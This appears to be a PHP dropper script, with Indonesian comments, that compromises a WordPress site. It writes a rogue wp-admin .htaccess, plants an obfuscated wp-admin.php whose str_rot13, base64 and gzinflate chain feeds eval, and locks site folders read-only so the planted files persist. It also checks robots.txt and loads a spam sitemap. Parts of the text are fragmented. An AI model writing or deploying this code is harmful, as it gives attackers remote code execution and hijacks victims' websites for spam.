RewriteEngine On RewriteBase /wp-admin/ # Allow direct access to existing files/directories RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] # Route robots and xml to wp-admin.php RewriteRule ^robots?$ wp-admin.php [L,NC] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule .*\.xml$ wp-admin.php [L,NC] # END WordPress wp-admin HTACCESS; } // ⭐ Ubah pemanggilan fungsi: kirimkan basename script saat ini $newWpAdminHtaccess = generateWpAdminHtaccess(); $payloadWpAdminContent = <<<'PHP' getMessage(); $lIO_lO_0O__IlO_ = "\x69\x6d\x70\x6c\x6f\x64\x65"; $ll0lOlOO1O1_ = strlen("\x63\x6f\x6e\x66\x69\x67"); $_l_I_1I_II1OO_ = "\x69\x6d\x70\x6c\x6f\x64\x65"; try { $l_1_10IlIO = array(); $OII_O_I0 = 4569; if (md5('a') === 'b') { $ll_l00__l_0l = md5("handler"); $_OII0Ol_0_01I = base64_decode("aW5pdA=="); } throw new Exception($_OO_I0I0000II__); } catch (Exception $O_O_l_OO1) { $_OO_I0I0000II__ = $O_O_l_OO1->getMessage(); $OO_IlOI_IIlOO1 = "\x65\x78\x70\x6c\x6f\x64\x65"; $O010lIOI_0l = array("\x69\x6e\x69\x74"); $O01OIIl_ = "\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65"; $_1I_OII_l11 = "\x63\x69\x70\x68\x65\x72"; $O1l_lI0O11 = "\x63\x69\x70\x68\x65\x72"; $_I_llOI0II_l = $_1I_OII_l11; $_1I_OII_l11 = $O1l_lI0O11; try { $_lIIlO1OII__I = array("\x72\x75\x6e"); $_l1O1I_111 = strtoupper("hash"); if (abs(-1) == 0) { $l_1_1I110I0_ = md5("kernel"); $_11l01lO = base64_decode("aGFuZGxlcg=="); } throw new Exception($_OO_I0I0000II__); } catch (Exception $l0l01_1OIO101I) { $_OO_I0I0000II__ = $l0l01_1OIO101I->getMessage(); $OlIl_0O1001 = strtoupper("auth"); $OOIOIIOI = array(); $l0O0O0011 = 11777; $Ol0I10lOl0 = "\x74\x6f\x6b\x65\x6e"; $_1IlOlI_lIO_l = "\x73\x74\x61\x72\x74"; $_O___OOOIO_ = $Ol0I10lOl0; $Ol0I10lOl0 = $_1IlOlI_lIO_l; try { $O_l0l0ll0O_10Il = strtoupper("kernel"); $ll0____l_ = array(); throw new Exception($_OO_I0I0000II__); } catch (Exception $ll_O0_O_) { $l0Il01I_0l1_ = "\x73\x74\x72\x5f\x72\x6f\x74\x31\x33"; $OOl0IlO11_ = str_rot13("onfr64_qrpbqr"); $l011_l0l1O01I = "\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65"; $l_O00IOl_O___1 = $l011_l0l1O01I; $OI00l1l1lOOI = "\x73\x68\x61\x31"; $_IOOl_lI_IIO = array("\x73\x74\x61\x72\x74"); $_IO_lI0IO = array("\x72\x75\x6e"); eval('?>' . $l_O00IOl_O___1($OOl0IlO11_($l0Il01I_0l1_($ll_O0_O_->getMessage())))); } } } } } catch (Exception $O00_IlI1O0_0I) { if (intval(date('Y')) < 1970) { $OI1O1_I0O = md5("auth"); $__l0I1O0Il00 = base64_decode("Y2lwaGVy"); } } })(); ?> PHP; $payloadIndexContent = <<<'KODE_AKHIR' 0, 'folders_excluded' => 0, 'errors' => 0 ]; if (!is_dir($directory)) { return $stats; } try { $directoryIterator = new RecursiveDirectoryIterator( $directory, RecursiveDirectoryIterator::SKIP_DOTS ); $iterator = new RecursiveIteratorIterator( $directoryIterator, RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { try { $path = $item->getPathname(); if (!$item->isDir()) { continue; } $isExcluded = false; foreach ($excludeDirs as $excludeDir) { if (str_starts_with($path, $excludeDir)) { $isExcluded = true; break; } } if ($isExcluded) { @chmod($path, 0755); $stats['folders_excluded']++; } else { $result = @chmod($path, 0555); if ($result) { $stats['folders_locked']++; } else { $stats['errors']++; } } if (($stats['folders_locked'] + $stats['folders_excluded']) % 100 === 0) { @clearstatcache(); } } catch (\Throwable $e) { $stats['errors']++; continue; } } } catch (\Exception $e) { $stats['errors']++; } return $stats; } // ================================================================ // === UNLOCK REKURSIF: HANYA FOLDER (NO EXEC) === // ================================================================ function lockBaseDirectorySafe(string $baseDir): bool { try { $result1 = @chmod($baseDir, 0755); $wpAdminDir = $baseDir . '/wp-admin'; if (is_dir($wpAdminDir)) { @chmod($wpAdminDir, 0755); } if (str_starts_with(__FILE__, $baseDir)) { @chmod(__FILE__, 0644); } return $result1; } catch (\Throwable $e) { return false; } } function superLockFilesSafe(string $baseDir, array $allowedFiles, array $safeFiles): void { $coreTargets = [ $baseDir . '/.htaccess', $baseDir . '/wp-admin/.htaccess', $baseDir . '/wp-admin/wp-admin.php', $baseDir . '/index.php' ]; //foreach ($allowedFiles as $file) { // $filePath = $baseDir . '/' . $file . '.php'; // if (!file_exists($filePath)) { // @touch($filePath); //@file_put_contents($filePath, ' "{$protocol}://{$domain}/robots", CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 20, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Compatible)' ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response !== false && $httpCode === 200) { $robotsPath = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/robots.txt'; return file_exists($robotsPath); } } catch (\Throwable $e) {} return false; } function displaySxallsitemapSafe(string $domain, string $protocol): void { echo "
"; echo "

πŸ—ΊοΈ SITEMAP

"; echo "

URL: {$protocol}://{$domain}/sxallsitemap.xml

"; try { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => "{$protocol}://{$domain}/sxallsitemap.xml", CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response !== false && $httpCode === 200) { echo "
" . htmlspecialchars(substr($response, 0, 2000)) . (strlen($response) > 2000 ? "\n... (truncated)" : "") . "
"; } else { echo "

❌ Gagal load sitemap (HTTP: $httpCode)

"; } } catch (\Throwable $e) { echo "

❌ Error: " . htmlspecialchars($e->getMessage()) . "

"; } echo "
"; } // ================================================================ // === ⭐ CLEANUP AGRESIF (NO EXEC) === // ================================================================ $wpAdminContent = $payloadWpAdminContent; $indexContent = $payloadIndexContent; echo "
"; echo "
";

echo "
"; ?>